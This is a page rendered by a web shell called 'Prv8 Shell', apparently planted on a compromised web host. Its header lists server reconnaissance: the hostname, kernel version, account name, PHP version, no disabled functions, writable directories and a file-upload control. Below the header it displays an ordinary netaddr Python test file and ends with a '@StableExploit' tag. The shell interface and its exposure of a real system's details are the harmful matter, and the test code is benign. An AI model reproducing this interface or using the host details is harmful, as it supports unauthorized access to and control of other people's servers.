Prv8 Shell
Server : Apache
System : Linux ecngx264.inmotionhosting.com 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
User : lonias5 ( 3576)
PHP Version : 7.3.33
Disable Function : NONE
Directory :  /usr/lib/imh-fail2ban/lib64/python3.13/site-packages/netaddr/tests/ip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/imh-fail2ban/lib64/python3.13/site-packages/netaddr/tests/ip/test_ip.py
import weakref

import pytest

from netaddr import INET_ATON, INET_PTON, IPAddress, IPNetwork, IPRange, NOHOST


def test_ip_classes_are_weak_referencable():
    weakref.ref(IPAddress('10.0.0.1'))
    weakref.ref(IPNetwork('10.0.0.1/8'))
    weakref.ref(IPRange('10.0.0.1', '10.0.0.10'))


@pytest.mark.parametrize('flags', [NOHOST, INET_ATON | INET_PTON])
def test_invalid_ipaddress_flags_are_rejected(flags):
    with pytest.raises(ValueError):
        IPAddress('1.2.3.4', flags=flags)


def test_invalid_ipnetwork_flags_are_rejected():
    with pytest.raises(ValueError):
        IPNetwork('1.2.0.0/16', flags=INET_PTON)

@StableExploit - 2025